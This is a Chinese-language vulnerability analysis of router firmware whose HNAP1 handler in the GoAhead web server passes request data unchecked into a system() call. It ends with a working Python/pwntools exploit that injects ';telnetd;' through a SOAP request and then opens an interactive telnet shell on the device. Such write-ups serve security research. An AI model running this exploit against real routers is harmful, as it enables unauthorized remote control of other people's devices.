漏洞分析

使用binwalk提取固件。

image-20220512025701778

可以看出文件系统是 squashfs

内核启动之后将启动init进程,init进程启动时根据/etc/inittab这个文件来在不同运行级别启动相应的进程或执行相应的操作。其中sysinit代表系统的初始化,只有系统开机或重新启动的时候,后面对应的process才会执行。

::sysinit:/etc/init.d/rcS

在rcS中,先执行一系列mkdir和设置,接着执行goahead

goahead 是一个开源的 web 服务器,用户的定制性非常强。可以通过一些 goaheadapi定义 url处理函数和可供 asp 文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。

goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数:

websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

以上代表/HNAP1的请求交给websHNAPHandler函数处理,/gofrom的请求交给websFormHandler函数处理,/cgi-bin的请求交websCgiHandler函数处理。这些处理函数有统一的参数:

int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
wp    Web server connection handle.  
url   Request URL.  
path  Request path portion of the URL.  
query Query string portion of the URL.

先了解/HNAP1请求的处理函数,在goahead中查找“HNAP1”字符串并通过xref定位处理函数sub_42383c

image-20200703012926666

sub_4238c主要通过遍历全局的函数表来处理HNAP1接受的不同请求。function_list中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。当在function_list中找到函数名与请求相同的字符串时,向/var/hnaplog中记录param_7的值,这个值从汇编中不太能看出,在运行过程中查看/var/hnaplog能猜出来。之后调用对应的函数地址处理相关请求。

image-20200703013323821

这里无论处理请求的函数名是什么,在找到之后会通过snprintf输入字符且未做检查,之后直接system执行,存在命令注入漏洞。如果post请求是’/bin/telnetd‘,就会先开启telnet服务器,再将字符写入hnaplog。

另外需要注意,post的数据要加上引号,因为echo ‘%s’ > /var/hnaplog中本身带了单引号,如果只是/bin/telnet,相当于

echo '`/bin/telnet`' > /var/hnaplog

由于命令由引号括起,会当做字符串处理,不会执行命令

echo ''`/bin/telnet`'' > /var/hnaplog

post中的两个引号分别与自带的两个引号组合,反引号没有嵌套在单引号中,会当做命令执行。

漏洞利用

import requests
from pwn import *

IP=''

headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/SetNetworkTomographySettings"'
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"


payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
  <soap:Body>\
    <SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">\
      <Address>;telnetd;</Address>\
      <Number>4<Number>\
          <Size>4</Size>\
     </SetNetworkTomographySettings></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+':9000/HNAP1/', headers=headers, data=payload)
print(r.text)

headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetNetworkTomographyResult"'
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
  <soap:Body>\
    <GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/">\
     </GetNetworkTomographyResult></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+':9000/HNAP1/', headers=headers, data=payload)
print(r.text)

p=remote(IP,23)
p.interactive()

参考

https://xz.aliyun.com/t/5705